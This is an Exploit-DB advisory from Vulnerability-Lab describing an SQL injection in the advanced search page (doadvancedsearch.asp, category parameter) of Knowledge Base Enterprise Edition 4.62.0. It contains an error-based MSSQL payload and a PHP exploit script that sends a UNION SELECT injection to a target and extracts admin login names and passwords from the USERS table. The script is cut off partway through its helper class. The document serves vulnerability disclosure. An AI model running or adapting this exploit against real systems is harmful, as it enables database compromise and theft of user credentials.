Exploit-DB #21272
Description: Knowledge Base Enterprise Edition 4.62.0 - SQL Injection
Type: webapps
Platform: asp
Date: 2012-09-12
Author: Vulnerability-Lab

Exploit:
Exploit Author: Vulnerability-Lab

Title:
======
Knowledge Base EE v4.62.0 - SQL Injection Vulnerability


Date:
=====
2012-09-11


References:
===========
http://www.vulnerability-lab.com/get_content.php?id=702


VL-ID:
=====
702


Common Vulnerability Scoring System:
====================================
8.5


Introduction:
=============
Knowledge Base Software, by Novo Solutions can be used in a variety of
in-house and external application settings.
Our easy-to-use software is an ideal solution for small or Knowledge Base
Softwarelarge organizations who need a central
repository to store information for Customer Support, Company Intranet,
Employee Training, Document Management and more.

(copy from vendor website
http://www.novosolutions.com/knowledge-base-software )


Abstract:
=========
The Vulnerability Laboratory Research Team discovered a critical sql
vulnerability in the Knowledge Base Enterprise Edition v4.62.0.


Report-Timeline:
================
2012-09-06:    Researcher Notification & Coordination
2012-09-07:    Vendor Notification
2012-00-00:    Vendor Response/Feedback
2012-00-00:    Vendor Fix/Patch
2012-00-00:    Public or Non-Public Disclosure


Status:
========
Published


Exploitation-Technique:
=======================
Remote


Severity:
=========
Critical


Details:
========
A SQL Injection vulnerability & a misconfiguration are detected in
Knowledge Base Enterprise Edition  4.62.0.
The vulnerability allows an attacker (remote) or local low privileged user
account to inject/execute own sql commands
on the affected application dbms without user inter action. The
vulnerabilities are located in search module  when processing
to request the category variable with selcategory argument. Successful
exploitation of the vulnerability results in MSSQL dbms
& ASP application compromise.

Vulnerable File(s):
            [+] doadvancedsearch.asp

Vulnerable Parameter(s):
            [+] category

Condition
            [+] selcategory - must be not NULL


Proof of Concept:
=================
The sql injection vulnerability can be exploited by remote attackers
without user inter action and without privilege user account.
For demonstration or reproduce ...

Note:
In this report we have the Clause statement it a little bit hard to exploit
it because of 90% non active responses with errors.
In order to exploit this vulnerability we need to use  (CAST OR CONVERT)
MSSQL functions to obtain result of our query in Conversion Error messages.


Query:         CAST(USER_LOGIN AS NVARCHAR(4000)
Result:     [Microsoft][ODBC SQL Server Driver][SQL Server]Conversion
failed when converting the nvarchar value 'admin' to data type int.


In the proof of concept exploit we have to change and force the query to
retrieve users credential from user database requests

<?php
     error_reporting(0);
/*
 * 
 *  Software  Knowledge Base Enterprise Edition  < 4.62.00
 *  Database: MS SQL
 *  Description 
 *  Author           Kami
 *  Email            kami@vulnerability-lab.com
 *  Website          http://www.kami.ma
 *  vendor           http://www.novosolutions.com/knowledge-base-software/
 *  Exploitation-type          MSSQL error-based using .
 *  Exploitation-technique    (CAST OR CONVERT) Via  (WHERE or HAVING) clause.
 */


     
    /*  Define Target Informations  */
   
    $HOST=$argv[1];  
    $URI       ="/doadvancedsearch.asp";
    
    /*  DATABASE Params */
    
    $TABLE     ="USERS";
    $columns=array("USER_LOGIN","USER_PASSWORD"); 
    $evilSQL   ="-6647)  UNION ALL SELECT CHAR(107)+CHAR(97)+CHAR(109)+CHAR(105)+CHAR(58)+CHAR(58)+MAX(ISNULL(CAST({column_name} AS NVARCHAR(4000)),CHAR(32)))+CHAR(58)+CHAR(58)+CHAR(97)+CHAR(109)+CHAR(105) FROM USERS where USER_ID=1 --  ";

 
    
     $Exploit= new Exploitcore();

     
      if($argc > 1) {
          echo "\n".'[+] Exploitation Start
              
                                                      \\\
                                            .------.  /// 
                                            (:::::::)(_)():-
                                            `------°  \\\
                                      Exploit sent    ///
              
'."\n";

         if(isset($argv[2]))
             $URI=$argv[2].$URI;
         echo  "[+] URL : ".$argv[1].$argv[2]."\n";
             $n=1;
        foreach($columns as $column){
 
                $evilSQL   ="-6647)  UNION ALL SELECT CHAR(107)+CHAR(97)+CHAR(109)+CHAR(105)+CHAR(58)+CHAR(58)+MAX(ISNULL(CAST({column_name} AS NVARCHAR(4000)),CHAR(32)))+CHAR(58)+CHAR(58)+CHAR(97)+CHAR(109)+CHAR(105) FROM USERS where USER_ID=1 --  ";

                $evilSQL=str_replace("{column_name}",$column,$evilSQL);

                $Payload=array(
                "advsearchwords"=>"sds",
                "selcategory"=>"19",
                "category"=>$evilSQL,
                "operation"=>"%2B",
                "limit"=>25,
                "searchtype"=>1,
                "enableExclude"=>1,
                "enableInclude"=>1,
                "daterange"=>0,
                "id"=>5,
                "btnAdvanced"=>1,
                "Lang=>1");
                
                
           
          echo   $reply=$Exploit->Requestor('POST',$HOST,80, $URI,array(),$Payload, array(), array(),1,false,false);
        
            if($Exploit->Retrive_DATA($reply)== null) {
                echo "[-] Error : Target is not vulnerable\n";
                exit(-1);} 
                if($n==1){echo "[+] Extracting Data .... \n\n";}
                echo "[+] DATA:".$column ."=".$Exploit->Retrive_DATA($reply)."\n";
                $n++;

        }        
         } else  $Exploit->Menu();



     






Class Exploitcore{
    
    var $hostname,$Port,$Uri;
    var $dynamic_payload;
    
    

    
    public functio